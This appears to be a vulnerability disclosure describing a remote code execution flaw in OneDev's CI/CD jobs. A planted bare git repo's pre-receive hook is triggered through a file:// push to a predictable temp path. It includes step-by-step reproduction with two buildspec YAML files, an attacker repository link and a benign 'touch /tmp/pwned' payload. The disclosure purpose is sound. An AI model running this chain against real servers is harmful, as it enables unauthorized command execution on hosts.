Summary

In Onedev's CI/CD jobs, job like checkout code and push to remote allow operations such as checkout and push commands based on the git repository.

Notably, when Onedev performs checkout operations, it leaves the git repository content in a temporary local directory. This means any content within the git repository will land in the local file system where the onedev server does.

This introduces a new attack surface called the server push attack. We know that git repositories have a hooks mechanism, divided into two types: client hooks and server hooks. Here, we focus on server hooks. For instance, during a git push operation, the server-side git repository receives data and triggers the pre-receive script under .git/hooks.

This creates an attack vector: If an attacker can create a git repository and have it land on the local file system, combined with workflows that push to the repository, the lack of validation for repository addresses on the server allows an attacker to exploit the file:// protocol to point to a malicious local repository. This triggers hooks scripts in the malicious repository, enabling command execution on the local machine.

Since git repositories can contain bare repo content, the following vulnerabilities arise in Onedev's scenario:

• Lack of isolation between repository content during checkout/push and the server file system.
• Lack of restrictions on allowed git protocols.
• Lack of randomization for repository paths.

These issues lead to RCE vulnerabilities.

Steps to Reproduce

1. Log in with code writer permissions for any project.

2. Import a malicious git repository prepared by the attacker, https://gitlab.com/demo621918/testrepo/- . The exploit branch of this repository contains a subdirectory named evilgitdirectory, structured as a git bare repo. The hooks folder in this directory includes a pre-receive script that, when triggered, executes the command touch /tmp/pwned.

3. Switch to the exploit branch (important!) in this repository. Use the .onedev-buildspec.yml file to create the following jobs. This job represents a checkout operation on the malicious repository, followed by a step that executes the command sleep 30 in the container ubuntu:latest. Since the job does not complete, the temporary directory will persist instead of being deleted. The directory structure will be /opt/onedev/temp/server/onedev-build-{REPO_NUM}-{JOB_NUM}/workspace/.

version: 38
jobs:
- name: demo job
  steps:
  - !CheckoutStep
    name: mycheckout
    cloneCredential: !DefaultCredential {}
    withLfs: false
    withSubmodules: false
    condition: ALL_PREVIOUS_STEPS_WERE_SUCCESSFUL
  - !CommandStep
    name: mysleep
    runInContainer: true
    image: ubuntu:latest
    interpreter: !DefaultInterpreter
      commands: |
        sleep 30
    useTTY: true
    condition: ALL_PREVIOUS_STEPS_WERE_SUCCESSFUL
  retryCondition: never
  maxRetries: 3
  retryDelay: 30
  timeout: 3600

4. Because of this, the file system path corresponding to the temp bare git repo during job execution can be determined, that is opt/onedev/temp/server/onedev-build-3-1/workspace/evilgitdirectory/. Create another job to push to this repository, triggering the hooks in the previous malicious repository. When creating this new job, calculate the accurate values for onedev-build-3-1, where 3 represents the project number in Onedev, and 1 is the build number of the checkout job. For instance, if the project is the third code repository and the first checkout job is being executed, use the following .onedev-buildspec.yml in another project or the current one:

version: 38
jobs:
- name: demo push
  steps:
  - !PushRepository
    name: demo-push
    remoteUrl: file:///opt/onedev/temp/server/onedev-build-3-1/workspace/evilgitdirectory/
    force: false
    condition: ALWAYS
  retryCondition: never
  maxRetries: 3
  retryDelay: 30
  timeout: 3600

5. Finally, execute the job in the first repository, letting it reach the sleep 30 phase, ensuring the temporary directory persists. Then execute the second job to push to the first repository, triggering the server push and achieving RCE.